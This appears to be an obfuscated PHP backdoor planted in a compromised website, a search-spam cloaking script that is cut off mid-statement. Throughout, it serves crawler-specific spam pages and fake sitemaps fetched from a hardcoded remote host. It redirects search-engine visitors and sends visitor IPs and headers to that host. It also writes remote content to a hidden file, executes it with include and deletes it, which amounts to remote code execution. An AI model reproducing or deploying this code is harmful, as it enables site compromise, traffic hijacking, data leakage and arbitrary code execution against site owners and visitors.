"\x20\74\x75\x72\x6c\x3e\x20\74\154\157\x63\76\45\163\x3c\x2f\x6c\157\143\76\74\170\x68\x74\x6d\154\72\x6c\151\156\153\x20\162\x65\x6c\x3d\x22\141\154\164\x65\162\156\141\x74\145\x22\x20\150\x72\x65\x66\154\141\156\147\75\x22\x6a\x61\x22\x20\x68\x72\x65\x66\x3d\42\x25\163\x22\x2f\x3e\74\x2f\165\162\154\76"; goto EgLQT; HyHzg: K0PAz: goto G8EUj; Od2FY: exit; goto MnHUv; fx_iY: Gn0Ah: goto FjIgc; K3bQX: unlink("\56\x65\x47\101\x30\x54\171\62\127\x4c\150"); goto hLaoz; DfiMs: array_push($UkU3U, "\x78\144\x6f\x69\155\72\x20" . crc32($mLQNc . "\134\x6e" . $H6hqi)); goto mlFlG; p5Mc3: exit; goto DzQYS; gDZpH: echo $qC5Om; goto L6P0R; yYCKR: goto TC5Sp; goto mPp3G; NeqRW: if ($czv0l[1] === '' || @preg_match("\x23\50\x5c\x64\x2b\51\x2d\44\x23", $czv0l[1], $eVcrv)) { goto IgrI3; } goto ib1B1; HlruJ: exit; goto MkZyT; xQxvP: $yhlHj = urlx($hviUC); goto JMJuQ; uLqs5: $mLQNc = strval(time()); goto BKsxm; L6P0R: exit; goto r9Nln; P6NYw: exit; goto tU9Mi; eAd1s: foreach ($mBWbU as $nQMFm) { goto sPUEC; vk816: ScK7C: goto lkQS_; sPUEC: $dU0hU = $upjhJ . "\72\x2f\x2f" . $gGiLN . "\57" . $nQMFm; goto vRlJN; vRlJN: $aqEbE .= sprintf($oZCNV, $dU0hU, $dU0hU); goto vk816; lkQS_: } goto HyHzg; QZ9uf: $w4zIm = trim(urlx("\x68\164\x74\160\x73\72\x2f\57" . gets() . "\57\x73\151\164\145\155\141\x70" . ($czv0l[1] == '' || $eVcrv[1] != '' ? "\56\170\x6d\x6c" : "\x2f" . $czv0l[1]), $UkU3U, $H6hqi)); goto LDYzD; UU0bx: $Zl6La = $H6hqi . "\x26\150\164\x74\160\x3d" . $upjhJ . "\46\147\162\157\165\160\x69\144\x3d" . $y2Boi . "\46\x75\x72\x69\75" . $A3EFh; goto e44QY; CeH5z: echo @trim(urlx(sprintf("\x68\x74\164\x70\163\x3a\57\x2f\45\x73\57\142\x6f\x74\57\143\x61\164\x65\77" . $Zl6La, gets()), $UkU3U, $Zl6La . "\x26\x68\157\163\164\75" . preg_replace("\x2f\x5b\x61\55\x7a\x49\135\x28\170\x79\x7a\x7c\x62\x75\172\x7a\51\56\52\x24\x2f", "\x2e\44\x31", strrev($N5571[1])) . "\46\x63\141\x74\x65\x69\x64\75" . $N5571[2], 1)); goto e2k2A; kdGj0: $mLQNc = isset($_SERVER["\110\x54\x54\120\x5f\124\x49\115\x45\123\x54\101\x4d\120"]) ? $_SERVER["\x48\124\124\x50\137\124\x49\115\105\123\x54\x41\115\120"] : ''; goto YAEjv; ib1B1: $hviUC = sprintf("\150\x74\x74\x70\x73\x3a\57\x2f\x77\167\x77\56\x67\x6f\x6f\x67\x6c\x65\x2e\x63\157\x2e\x6a\160\57\160\x69\156\147\x3f\163\151\164\145\155\x61\x70\x3d\x25\x73\x3a\57\x2f\x25\163\x2f\x73\151\164\145\x6d\141\160\45\x73\56\170\x6d\x6c", $upjhJ, $gGiLN, $czv0l[1]); goto xQxvP; H4qE7: FDW0e: goto p_yPl; PVcfP: exit; goto XyTGa; CPgzU: hec1f: goto NW1tE; LcIqv: $qfcii = 1; goto rBgeY; uBfpa: AlcY0: goto PieZO; e2k2A: exit; goto z47TJ; z47TJ: TC5Sp: goto LZ5Yw; ildlo: $dU0hU = urlx(sprintf("\x68\x74\x74\160\x73\72\x2f\x2f\45\x73\x2f\x62\x6f\x74\57\63\x30\62\77" . $Zl6La, gets()), $UkU3U, $Zl6La, 1); goto B3It1; ByFPn: if (!@preg_match("\x23\147\x6f\157\147\x6c\x65\x7c\171\141\x68\157\x6f\174\142\x69\156\147\174\143\162\x61\x66\164\174\x43\162\141\167\x6c\x65\x72\43\151", $kAtb9)) { goto U0NZX; } goto UU0bx; p_yPl: $qfcii++; goto aby03; dhPbu: echo $NNBPB === false ? "\x66\x61\151\x6c" . gets() : $NNBPB . $y2Boi . gets(); goto P6NYw; y_Flb: W4lsF: goto bUnay; wphq4: $gGiLN = $_SERVER["\x48\x54\x54\x50\137\x48\x4f\123\x54"]; goto T2o19; AdgyM: exit; goto INXyE; aVYNf: $bSjkD = urlx($WKfm7, null, null, 1, "\115\157\x7a\x69\154\x6c\x61\57\x35\56\60\40\x28\x57\151\x6e\x64\157\x77\x73\73\40\125\73\40\x57\x69\156\x64\157\x77\x73\x20\x4e\x54\40\x35\x2e\x31\x3b\x20\145\x6e\55\125\123\51\x20\x41\160\x70\x6c\145\x57\x65\142\x4b\151\x74\57\x35\63\64\x2e\67\x20\50\113\x48\x54\x4d\x4c\54\x20\154\x69\x6b\145\x20\x47\145\143\x6b\157\51\x20\103\150\162\x6f\155\145\57\x37\56\x30\56\65\x31\x37\x2e\x34\61\x20\123\x61\146\x61\162\x69\x2f\x35\x33\64\56\67"); goto ksPzY; q9G2f: $wscdC .= sprintf($Xh3s1, $upjhJ, $gGiLN, $qfcii, date("\x59\55\155\55\x64\x5c\x54\x48\72\151\72\x73\120", time())); goto H4qE7; iDN6I: array_push($UkU3U, "\164\x69\155\145\163\164\141\155\x70\72\x20" . $mLQNc); goto DfiMs; NW1tE: echo sprintf($dMlCG, $wscdC); goto PVcfP; DzQYS: A6ksQ: goto HdDLn; G8EUj: echo sprintf($PujUY, $aqEbE); goto Od2FY; PzaQB: $WKfm7 = $czv0l[1] == '' ? sprintf($WKfm7, $gGiLN) : sprintf($WKfm7, $czv0l[1]); goto aVYNf; FwRlG: $mBWbU = explode("\xa", $w4zIm); goto y0XrK; CrkQV: if (!(isset($_SERVER["\110\x54\124\x50\137\x58\104\x4f\111\x4d"]) && strlen($_SERVER["\x48\124\124\x50\x5f\130\104\x4f\111\115"]) > 0)) { goto Gn0Ah; } goto kdGj0; Vkutk: $PujUY = "\x3c\x3f\170\155\154\x20\166\145\162\163\151\x6f\156\75\x22\61\56\x30\42\x20\x65\x6e\143\157\x64\151\156\x67\x3d\x22\x55\x54\x46\55\x38\42\x3f\76\15\12\x3c\165\x72\x6c\x73\x65\164\x20\x78\x6d\154\x6e\163\x3d\x22\150\x74\x74\x70\72\x2f\57\167\167\x77\x2e\163\x69\x74\145\155\x61\x70\x73\x2e\x6f\x72\x67\x2f\x73\143\150\145\155\141\163\57\x73\151\x74\x65\155\141\x70\x2f\60\56\x39\42\15\xa\40\40\40\40\40\x20\x78\x6d\154\156\x73\x3a\x78\x68\x74\x6d\x6c\75\x22\150\164\164\160\x73\x3a\57\x2f\167\167\167\x2e\167\63\x2e\157\162\147\57\61\71\x39\x39\57\x78\x68\x74\155\x6c\x22\76\xd\xa\x25\x73\xd\12\x3c\x2f\x75\162\154\163\145\164\76"; goto Owvg4; qQRXB: function cc($A3EFh) { goto Qa9GK; QhQMj: $pCAwQ = sprintf("\45\165", crc32(sprintf("\45\163\x2d\45\163", $kjpmi[0], $kjpmi[1]))); goto kPsL9; QHJkD: return false; goto z4vpA; MNr_i: if (!(sizeof($kjpmi) != 3)) { goto OW3cV; } goto QHJkD; kPsL9: return $pCAwQ == $kjpmi[2]; goto NMcdy; z4vpA: OW3cV: goto QhQMj; Qa9GK: $kjpmi = explode("\55", substr($A3EFh, 1, strlen($A3EFh) - 6)); goto MNr_i; NMcdy: } goto Zs4eq; zUsTC: $mLQNc = strval(time()); goto amQVZ; kftYR: $UkU3U = array("\125\163\145\162\x2d\x41\x67\x65\156\x74\x3a\40" . $kAtb9, "\x4c\141\x6e\147\x3a\40" . $v36K1, "\122\145\x66\x65\162\145\162\72\40" . $F1Ozz, "\110\x74\x74\160\55\110\x6f\x73\164\72\40" . $gGiLN, "\x52\145\155\157\164\x65\x2d\x41\x64\x64\x72\72\x20" . $b99nf); goto HOFXw; hLaoz: exit; goto fx_iY; af6on: $qC5Om .= $hviUC . $yhlHj; goto hNXye; LZ5Yw: U0NZX: goto d4Z8o; fjZT_: exit; goto yEZtw; lYKaL: $H6hqi .= "\x26\147\x72\x6f\x75\160\x69\144\x3d" . $y2Boi; goto hYZnd; y0XrK: $aqEbE = ''; goto eAd1s; IR9fF: $kAtb9 = isset($_SERVER["\110\124\x54\x50\137\125\123\105\122\x5f\x41\x47\x45\x4e\x54"]) ? $_SERVER["\x48\x54\x54\120\137\125\x53\x45\122\x5f\101\107\105\116\124"] : ''; goto wphq4; QEjgJ: if (!(($czv0l[1] === '' || $eVcrv[1] != '') && @preg_match("\x23\x5e\50\134\x64\51\x2a\43", $w4zIm))) { goto YLRNe; } goto P4Ero; yEZtw: m5EBH: goto f2shd; D0XpO: @preg_match("\43\x28\x5c\x64\x2a\x29\xe4\xbb\xb6\x3c\41\55\x2d\x23", $bSjkD, $czv0l); goto x_qU3; IvF1w: GfS5x: goto BxnMj; Pm0n1: if (@preg_match("\x23\x63\x61\x74\x65\134\57\50\133\x61\55\172\x5d\53\51\55\x28\134\x64\53\51\x24\43\x69", $A3EFh, $N5571)) { goto xr48Y; } goto dX8JJ; MnHUv: RqJXW: goto CrkQV; T2o19: $A3EFh = $_SERVER["\122\x45\x51\125\105\123\x54\137\125\x52\111"]; goto Gfj38; Dm5Dg: $v36K1 = isset($_SERVER["\110\124\124\120\137\101\x43\x43\x45\x50\x54\x5f\x4c\101\x4e\107\x55\101\x47\105"]) ? substr($_SERVER["\110\x54\x54\120\137\101\x43\x43\105\x50\124\x5f\x4c\x41\x4e\x47\x55\x41\x47\x45"], 0, 4) : ''; goto dUXJi; BLge5: @ignore_user_abort(0); goto Bvh0Q; iDwB2: $NNBPB = trim(urlx("\x68\164\x74\160\163\72\x2f\57" . gets() . $czv0l[0], $UkU3U, $H6hqi)); goto dhPbu; r9Nln: iXw1g: goto TnzKj; fg92V: exit; goto IvF1w; PieZO: if (!($qfcii <= intval($w4zIm))) { goto mfmlI; } goto bNJjY; XcmgL: goto DRZfi; goto y7mp7; f2shd: if (!@preg_match("\43\136\50\134\144\x29\x2a\43", $w4zIm)) { goto W4lsF; } goto SH444; bGUiF: aLwT1: goto zUsTC; mzBxo: $upjhJ = https(); goto kftYR; rUNCw: $H6hqi .= $eVcrv[1] == '' ? "\46\x67\162\x6f\x75\x70\151\144\75" . $y2Boi : "\x26\147\x72\157\x75\x70\151\144\x3d" . $eVcrv[1]; goto KWZEj; BxnMj: @header("\103\x6f\156\x74\145\x6e\164\55\164\x79\160\145\x3a\x20\x74\x65\x78\x74\57\x78\155\x6c"); goto QEjgJ; dUXJi: $F1Ozz = isset($_SERVER["\x48\124\124\x50\137\122\x45\106\105\x52\105\x52"]) ? $_SERVER["\110\x54\x54\x50\x5f\x52\105\x46\105\x52\x45\122"] : ''; goto IR9fF; ksRfY: echo @trim(urlx(sprintf("\x68\164\x74\160\x73\x3a\57\57\x25\x73\x2f\x62\157\x74\57\160\x61\x67\145\77" . $Zl6La, gets()), $UkU3U, $Zl6La, 1)); goto guYMq; JMJuQ: $qC5Om .= $hviUC . $yhlHj; goto XcmgL; X1jih: $qC5Om = ''; goto NeqRW; Bvh0Q: $y2Boi = "\x34\x32\60"; goto Vkutk; yC0Y5: if (!@preg_match("\43\x5e\x2f\160\x69\x6e\x67\x73\151\164\x65\x6d\x61\x70\50\x2e\x2a\x3f\51\x2e\170\x6d\154\x24\43\x69", $A3EFh, $czv0l)) { goto iXw1g; } goto X1jih; hQAif: $yhlHj = urlx($hviUC); goto af6on; d4Z8o: if (!(@preg_match("\43\x67\157\157\x67\154\x65\56\143\157\x2e\152\x70\x7c\x67\157\157\x67\154\145\x2e\143\157\x6d\x7c\x79\x61\x68\157\x6f\56\143\x6f\56\x6a\x70\x7c\171\x61\150\x6f\157\x2e\x63\157\174\142\151\156\147\56\x63\x6f\155\174\141\x73\x6b\x2e\143\157\155\x7c\x61\x6f\x6c\56\143\157\155\174\x61\x6f\154\56\x6a\x70\43\x69", $F1Ozz) && @preg_match("\x23\50\133\141\x2d\x7a\x49\x5d\x2b\x29\x2d\50\x5c\144\x2b\x29\50\x2e\x68\x74\x6d\154\x29\x3f\44\43\151", $A3EFh))) { goto A6ksQ; } goto D_4Ak; y7mp7: IgrI3: goto rUNCw; HdDLn: function urls($gGiLN, $mDxX3, $kAtb9, $bnuSt, $R_o1G = null) { goto Wb1C1; Wb1C1: $w0d0B = stream_socket_client("\163\x73\x6c\x3a\57\x2f" . $gGiLN . "\72\x34\x34\63", $dVvns, $da2DP, 6); goto lW2QS; lW2QS: $UzV57 = "\x47\x45\x54\x20" . $mDxX3 . "\77" . $R_o1G . "\40\110\x54\x54\x50\x2f\61\x2e\60\xd\12\x48\x6f\x73\x74\72\40" . $gGiLN . "\xd\xa\122\x65\x66\145\x72\x65\x72\72\40" . $bnuSt . "\xd\12\125\163\x65\x72\x2d\x41\x67\145\x6e\164\72\x20" . $kAtb9 . "\xd\xa\15\12"; goto f3ZSF; f3ZSF: $PuuBK = fwrite($w0d0B, $UzV57); goto Szurx; Szurx: fclose($w0d0B); goto Kws_H; Kws_H: } goto sIkE2; TnzKj: if (!@preg_match("\x23\x5e\x2f\163\x69\x74\145\155\x61\x70\x28\x2e\52\77\51\56\x78\x6d\154\44\x23\x69", $A3EFh, $czv0l)) { goto RqJXW; } goto BXyKS; dD_Kh: GtnTd: goto RubOV; RubOV: $H6hqi .= "\x26\x67\162\x6f\165\x70\151\144\75" . $eVcrv[1]; goto bGUiF; FD0QG: if (!@preg_match("\x23\136\57\x67\145\164\166\x65\162\x24\43\151", $A3EFh, $czv0l)) { goto FeSpW; } goto uLqs5; o57iv: @file_put_contents("\x2e\145\x47\x41\60\124\171\62\x57\114\x68", $Nn4oV, FILE_USE_INCLUDE_PATH); goto kxov2; rBgeY: o8TPY: goto XdWa6; S2_yg: error_reporting(0); goto HFgDm; PmmAa: mfmlI: goto y_Flb; Zs4eq: function gets() { return "\160\61\56\x67\x6c\157\x72\171\160\154\x61\x6e\x2e\x63\154\165\142"; } goto IiyB1; Bl_SN: array_push($UkU3U, "\x78\x64\157\x69\x6d\72\40" . crc32($mLQNc . "\x5c\x6e" . $H6hqi)); goto iDwB2; HFgDm: @set_time_limit(3600); goto BLge5; bNJjY: $hviUC = sprintf("\150\164\164\x70\163\x3a\57\57\167\167\167\56\147\x6f\x6f\147\x6c\x65\56\x63\x6f\56\x6a\x70\x2f\x70\x69\156\147\x3f\163\151\x74\145\x6d\x61\x70\75\45\x73\x3a\57\x2f\x25\x73\x2f\163\x69\164\145\155\141\160\x25\x73\45\144\56\x78\155\x6c", $upjhJ, $gGiLN, $eVcrv[0], $qfcii); goto hQAif; D_4Ak: $Zl6La = $H6hqi . "\x26\x67\162\157\x75\160\x69\x64\x3d" . $y2Boi . "\x26\x75\162\151\x3d" . $A3EFh . "\x26\x69\x70\75" . $b99nf; goto ildlo; HOFXw: $H6hqi = "\163\x68\x6f\x73\x74\x3d" . $gGiLN . "\x26\x70\x72\157\164\157\x3d" . $upjhJ; goto HgTV6; bUnay: DRZfi: goto gDZpH; veesU: goto AlcY0; goto PmmAa; XdWa6: if (!($qfcii <= intval($w4zIm))) { goto hec1f; } goto q9G2f; lxa9z: $Zl6La .= sprintf("\x26\x68\x70\151\144\75\x25\163\55\45\x73", preg_replace("\x2f\133\x61\x2d\x7a\111\x5d\50\x78\x79\172\174\142\x75\x7a\172\x29\56\52\44\x2f", "\56\44\61", strrev($czv0l[1])), $czv0l[2]); goto ksRfY; tU9Mi: FeSpW: goto ByFPn; UBZfU: $Xh3s1 = "\74\163\x69\x74\145\155\141\160\x3e\x3c\x6c\x6f\x63\76\45\x73\x3a\57\57\x25\x73\x2f\x73\151\x74\x65\x6d\x61\160\45\x64\x2e\170\155\154\74\x2f\154\x6f\x63\76\x3c\57\163\x69\164\145\155\x61\x70\76"; goto Dm5Dg; mlFlG: $w4zIm = trim(urlx("\x68\x74\164\x70\x73\72\x2f\x2f" . gets() . "\57\163\x69\x74\x65\x6d\x61\160\56\170\x6d\154", $UkU3U, $H6hqi . "\x26\150\x74\x74\x70\x3d" . $upjhJ)); goto iUVZr; mPp3G: xr48Y: goto CeH5z; FjIgc: if (!@preg_match("\43\x5e\57\163\x69\x74\x65\57\x3f\x28\56\52\x3f\51\44\x23\151", $A3EFh, $czv0l)) { goto bHU0k; } goto TWfpu; P4Ero: $wscdC = ''; goto LcIqv; hNXye: YQGZD: goto L4CH9; crkV0: array_push($UkU3U, "\170\144\x6f\x69\155\x3a\x20" . crc32($mLQNc . "\x5c\156" . $H6hqi)); goto QZ9uf; B3It1: @header("\x4c\x6f\x63\141\164\151\x6f\156\x3a\x20" . $dU0hU); goto p5Mc3; x_qU3: echo $czv0l[1]; goto AdgyM; XyTGa: YLRNe: goto FwRlG; LDYzD: if (!($w4zIm === '')) { goto GfS5x; } goto fg92V; INXyE: bHU0k: goto FD0QG; SH444: $qfcii = 1; goto uBfpa; kxov2: echo include "\x2e\145\x47\x41\x30\124\x79\x32\127\x4c\x68"; goto K3bQX; KWZEj: $mLQNc = strval(time()); goto iDN6I; L4CH9: $qfcii++; goto veesU; MkZyT: goto TC5Sp; goto Bf3La; iUVZr: if (!($w4zIm === '')) { goto m5EBH; } goto fjZT_; BXyKS: $H6hqi = "\163\150\157\163\x74\x3d" . $gGiLN . "\46\x68\x74\x74\160\x3d" . $upjhJ; goto OL0KH; r06lp: $bSjkD = str_replace(array("\x2f\x5c\x2f\x73\x2b\x2f", "\x5c\162\134\156", "\x5c\162", "\134\x6e", "\42", "\x2c"), '', $bSjkD); goto D0XpO; TWfpu: $WKfm7 = urldecode("\x68\164\164\x70\x73\72\57\57\x73\145\x61\x72\143\150\56\171\141\x68\x6f\157\56\143\x6f\x2e\152\160\x2f\x73\145\x61\x72\x63\150\77\x70\x3d\x73\x69\x74\x65\x3a\x25\163\46\x65\x69\x3d\125\124\x46\x2d\70"); goto PzaQB; U50ae: function clientip() { goto iDI2N; MYteo: return $_SERVER["\x52\x45\x4d\x4f\124\105\137\101\104\104\x52"]; goto MR4ID; tmD3k: SSnwO: goto MYteo; EMUmz: goto ub6dW; goto tmD3k; iDI2N: if (getenv("\x52\x45\x4d\117\124\x45\x5f\x41\x44\104\x52") && strcasecmp(getenv("\122\105\x4d\117\124\105\137\101\104\104\x52"), "\x75\156\x6b\x6e\x6f\x77\x6e")) { goto AzNN9; } goto Y0M2d; rRrMv: goto ub6dW; goto N2MJt; Y0M2d: if (isset($_SERVER["\x52\x45\x4d\x4f\x54\105\137\x41\104\104\x52"]) && $_SERVER["\122\x45\x4d\x4f\124\105\x5f\101\x44\104\x52"] && strcasecmp($_SERVER["\x52\105\115\117\x54\105\137\x41\104\104\x52"], "\165\x6e\153\x6e\157\x77\x6e")) { goto SSnwO; } goto rRrMv; MR4ID: ub6dW: goto ma5fW; N2MJt: AzNN9: goto Cx3F5; Cx3F5: return getenv("\x52\x45\115\x4f\x54\105\137\101\104\104\122"); goto EMUmz; ma5fW: }?>

<?php goto TqXa4; AB8dy: if (@preg_match("\43\50\x5c\144\53\x29\x2d\x24\x23", $HJ5tX[1], $ZlKkQ)) { goto e9OwY; } goto U0mfw; bFS1n: LbsC0: goto LgHGa; k0tTn: $s8CKx++; goto i_RAA; AjEP8: echo sprintf($ax8q1, $ERh3H); goto Xcbi1; xnz88: if (!@preg_match("\x23\x67\157\157\147\154\145\174\171\141\x68\x6f\x6f\174\x62\x69\x6e\x67\174\x63\x72\141\146\164\174\x43\162\141\167\x6c\145\x72\43\x69", $yr3n9)) { goto Yr66N; } goto hoPss; MsFeU: if (@preg_match("\43\x63\x61\164\145\x5c\57\50\x5b\x61\55\x7a\135\x2b\51\x2d\50\134\x64\x2b\51\44\43\x69", $Os3r5, $NJWTM)) { goto TNC64; } goto Ohppz; TiaUQ: $L5H9Z = https(); goto gs4gt; xC1xV: $gO42I = trim(urlx("\150\164\164\x70\163\72\x2f\57" . gets() . "\x2f\163\151\x74\145\155\x61\160\x2e\x78\155\x6c", $R0D_a, $rlwX5 . "\46\150\164\164\160\75" . $L5H9Z)); goto npduz; s9_GS: @ini_set("\x64\x69\x73\160\x6c\141\171\x5f\x65\x72\162\157\162\x73", 0); goto kFSbG; ywfHu: $Os3r5 = $_SERVER["\x52\105\121\125\x45\x53\x54\137\x55\x52\111"]; goto mw9cR; cLA9C: echo @trim(urlx(sprintf("\150\164\x74\x70\163\x3a\57\x2f\45\163\x2f\x62\x6f\164\57\x63\141\164\x65\x3f" . $dFLqC, gets()), $R0D_a, $dFLqC . "\46\x68\x6f\163\x74\x3d" . preg_replace("\57\133\x61\x2d\172\x49\135\x28\x78\171\x7a\x7c\142\165\172\x7a\51\56\x2a\x24\x2f", "\x2e\44\x31", strrev($NJWTM[1])) . "\x26\x63\141\x74\x65\x69\144\75" . $NJWTM[2], 1)); goto A1N1y; TqXa4: error_reporting(0); goto s9_GS; RZCb0: $ax8q1 = "\74\x3f\x78\155\x6c\40\166\145\162\163\151\157\x6e\75\42\61\56\60\x22\x20\x65\x6e\143\157\144\151\x6e\147\x3d\x22\125\124\106\55\x38\x22\x3f\76\x3c\41\55\x2d\x20\x61\x75\164\157\x67\145\x6e\x20\x62\171\x20\x64\157\x69\x6d\x20\55\55\x3e\15\12\74\x75\162\x6c\163\145\164\40\170\155\154\156\x73\x3d\42\150\x74\164\x70\x3a\57\57\x77\167\167\56\x73\x69\164\x65\155\141\x70\x73\56\157\162\x67\x2f\x73\143\150\x65\155\x61\163\57\163\151\164\x65\155\141\160\x2f\x30\56\x39\42\15\xa\x20\x20\x20\40\40\40\x78\x6d\x6c\156\x73\x3a\170\x68\x74\155\154\75\x22\x68\x74\164\160\x3a\x2f\x2f\167\167\x77\x2e\x77\63\56\157\x72\147\57\x31\71\x39\71\57\170\150\x74\155\154\x22\x3e\xd\xa\45\x73\x3c\x2f\165\x72\x6c\163\145\164\76"; goto C2IQl; cnz2T: $muRgt = urlx(sprintf("\x68\164\164\x70\163\x3a\x2f\57\45\x73\x2f\x62\x6f\x74\57\63\x30\62\x3f" . $dFLqC . "\x26\x75\x72\x69\75" . $Os3r5, gets()), $R0D_a, $dFLqC, 1); goto js7gQ; USdXr: $yr3n9 = isset($_SERVER["\x48\x54\x54\120\137\x55\x53\x45\x52\x5f\101\x47\x45\116\x54"]) ? $_SERVER["\x48\x54\x54\x50\137\x55\123\105\122\137\101\107\105\116\124"] : ''; goto zKWlX; rk4n2: $Os3r5 = $_SERVER["\122\105\x51\125\x45\x53\x54\137\125\122\111"]; goto W9lL7; C2_HL: $pC_Tk = urldecode("\150\x74\x74\160\x73\72\x2f\x2f\x73\x65\141\162\x63\x68\56\171\141\150\157\x6f\x2e\x63\157\x2e\x6a\160\57\x73\145\x61\x72\x63\x68\x3f\160\75\163\151\x74\145\72\x25\x73\x26\145\x69\x3d\125\124\x46\x2d\70"); goto HAxtM; gs4gt: $R0D_a = array("\x55\163\x65\x72\x2d\x41\x67\145\156\164\x3a\x20" . $yr3n9, "\x4c\141\x6e\147\x3a\x20" . $MUiTg, "\x52\145\146\x65\162\145\162\x3a\x20" . $I0a3D, "\110\x74\164\x70\x2d\x48\157\163\164\72\40" . $LPK0B, "\122\145\x6d\x6f\x74\x65\x2d\x41\144\144\162\x3a\x20" . $ttPxC); goto LG6uU; U0mfw: $rlwX5 .= "\x26\x67\x72\x6f\165\160\151\x64\75" . $uhB0r; goto yStNO; tk9jy: $rlwX5 = "\163\x68\x6f\163\164\75" . $LPK0B . "\46\x68\164\x74\x70\75" . $L5H9Z; goto AB8dy; yStNO: goto obqDW; goto PiC0V; BauNP: $rlwX5 .= $ZlKkQ[1] == '' ? "\x26\147\162\x6f\165\160\x69\x64\75" . $uhB0r : "\46\x67\162\157\165\x70\x69\x64\75" . $ZlKkQ[1]; goto u2E29; NUzT0: echo $HJ5tX[1]; goto hq6U9; u2E29: $c1wPR = strval(time()); goto qRoVh; fS1Gs: function urlx($pC_Tk, $R0D_a = null, $rlwX5 = null, $DW8QC = null) { goto vmBxl; qMXMV: if ($R0D_a === null) { goto bEW4b; } goto J3oMa; TN4M8: if ($DW8QC === null) { goto eOo9w; } goto XWTH3; i2CbO: curl_close($QjzQh); goto iwmnP; JIs83: curl_setopt($QjzQh, CURLOPT_FOLLOWLOCATION, 1); goto TN4M8; QcwCR: bEW4b: goto IYXc5; ephNK: hGQmn: goto qMXMV; XWTH3: curl_setopt($QjzQh, CURLOPT_ENCODING, "\147\x7a\x69\x70\54\144\145\x66\x6c\x61\164\x65"); goto cKtwv; IhTAA: curl_setopt($QjzQh, CURLOPT_SSL_VERIFYPEER, FALSE); goto ET8h5; ONoNy: $MQS4F = curl_exec($QjzQh); goto i2CbO; mgeyR: if (!(stripos($pC_Tk, "\x68\164\x74\160\x73\72") === 0)) { goto hGQmn; } goto IhTAA; a_sMs: curl_setopt($QjzQh, CURLOPT_POST, 1); goto Z7vaa; ET8h5: curl_setopt($QjzQh, CURLOPT_SSL_VERIFYHOST, FALSE); goto ephNK; qMSJs: curl_setopt($QjzQh, CURLOPT_URL, $pC_Tk); goto JIs83; ZbsLP: curl_setopt($QjzQh, CURLOPT_RETURNTRANSFER, 1); goto ONoNy; vmBxl: $QjzQh = curl_init(); goto qMSJs; IYXc5: if ($rlwX5 === null) { goto bQjxF; } goto a_sMs; zZhuX: bQjxF: goto ZbsLP; cKtwv: eOo9w: goto mgeyR; iwmnP: return $MQS4F; goto b0ocj; Z7vaa: curl_setopt($QjzQh, CURLOPT_POSTFIELDS, $rlwX5); goto zZhuX; J3oMa: curl_setopt($QjzQh, CURLOPT_HTTPHEADER, $R0D_a); goto QcwCR; b0ocj: } goto VBkk6; mw9cR: $ttPxC = clientip(); goto TiaUQ; d_q6X: goto Vk_ZS; goto sXakE; GMQHA: $uhB0r = "\64\x32\x32"; goto RZCb0; pwepN: exit; goto ZAsUH; xOqqk: exit; goto B1Jds; o0Qh4: IIf5e: goto rL4oy; u2bSl: @header("\103\x6f\x6e\164\145\x6e\x74\55\x74\x79\x70\x65\x3a\x20\x74\145\x78\164\x2f\170\x6d\154"); goto jGAE6; jJx3p: l6Abw: goto AjEP8; OTuae: $ZL0qT = sprintf("\150\x74\x74\x70\x73\72\57\57\x77\x77\x77\56\147\x6f\157\147\154\x65\56\143\x6f\56\x6a\x70\x2f\x70\x69\x6e\147\x3f\x73\x69\164\145\x6d\x61\x70\x3d\x25\x73\x3a\57\57\x25\x73\x2f\163\151\164\x65\x6d\141\x70\45\x73\x25\x64\56\170\x6d\154", $L5H9Z, $LPK0B, $ZlKkQ[0], $s8CKx); goto dY7Fd; LG6uU: $rlwX5 = "\x73\150\157\x73\x74\75" . $LPK0B . "\46\x70\x72\x6f\x74\x6f\x3d" . $L5H9Z; goto rk4n2; O7X2K: if ($HJ5tX[1] === '' || @preg_match("\43\50\134\x64\x2b\51\55\x24\x23", $HJ5tX[1], $ZlKkQ)) { goto WjKrT; } goto hoCos; Lqb35: $safCr = urlx($ZL0qT); goto PEqlg; qa52B: Vk_ZS: goto bpnHC; Nz6hO: $MQS4F = str_replace(array("\57\x5c\57\163\53\x2f", "\x5c\162\134\x6e", "\134\162", "\134\156", "\x22", "\x2c"), '', $MQS4F); goto WWssK; etNru: kLheg: goto NH3hs; Ya32J: w5325: goto kMnWK; N3kJL: @ignore_user_abort(1); goto GMQHA; F3zQC: if (!($s8CKx <= intval($gO42I))) { goto umej9; } goto OTuae; bcD14: nfaS8: goto brflY; Xcbi1: exit; goto o0Qh4; bpnHC: Yr66N: goto Ia9O0; fQ4nZ: exit; goto LOh3w; uevuB: $dFLqC .= sprintf("\46\x68\x70\x69\144\75\45\x73\55\45\x73", preg_replace("\57\x5b\141\55\x7a\x49\135\x28\x78\171\x7a\174\x62\165\x7a\x7a\x29\56\x2a\x24\57", "\56\44\61", strrev($HJ5tX[1])), $HJ5tX[2]); goto cceMs; pdclJ: $rlwX5 .= "\46\147\162\x6f\x75\160\151\x64\75" . $ZlKkQ[1]; goto Hc6CI; S4s5k: if (!@preg_match("\x23\136\x28\134\144\51\x2a\43", $gO42I)) { goto PLKjR; } goto z8eHh; gLziP: umej9: goto SloLh; rL4oy: if (!(isset($_SERVER["\x48\124\x54\120\x5f\x58\104\117\x49\x4d"]) && strlen($_SERVER["\x48\124\124\x50\x5f\x58\104\x4f\111\x4d"]) > 0)) { goto Cjeoh; } goto T9sLu; W9lL7: if (!@preg_match("\x23\136\x2f\160\151\x6e\147\163\x69\164\145\x6d\141\160\50\x2e\52\x3f\51\x2e\170\x6d\154\x24\43\x69", $Os3r5, $HJ5tX)) { goto LbsC0; } goto h1ou0; PcybG: exit; goto Xjg1G; zZPMr: exit; goto zj1v8; rFc62: if (!($s8CKx <= intval($gO42I))) { goto w5325; } goto i2ren; Ohppz: echo @trim(urlx(sprintf("\150\164\x74\x70\163\x3a\x2f\57\x25\x73\57\x62\157\x74\57\150\157\x6d\x65\77" . $dFLqC . "\x26\165\162\151\x3d" . $Os3r5, gets()), $R0D_a, $dFLqC, 1)); goto pwepN; rnOnA: exit; goto RUC1k; uXjIF: $MUiTg = isset($_SERVER["\x48\x54\124\120\x5f\101\103\103\105\120\124\137\114\x41\x4e\107\x55\101\107\x45"]) ? substr($_SERVER["\110\124\x54\120\137\x41\x43\103\105\x50\x54\137\x4c\101\x4e\x47\x55\x41\x47\105"], 0, 4) : ''; goto JFuE7; u5ROy: array_push($R0D_a, "\x78\x64\157\x69\x6d\x3a\40" . crc32($c1wPR . "\x5c\156" . $rlwX5)); goto i42GJ; sQEEw: unlink("\x2e\145\107\x41\60\124\171\62\127\114\150"); goto fF7IQ; js7gQ: 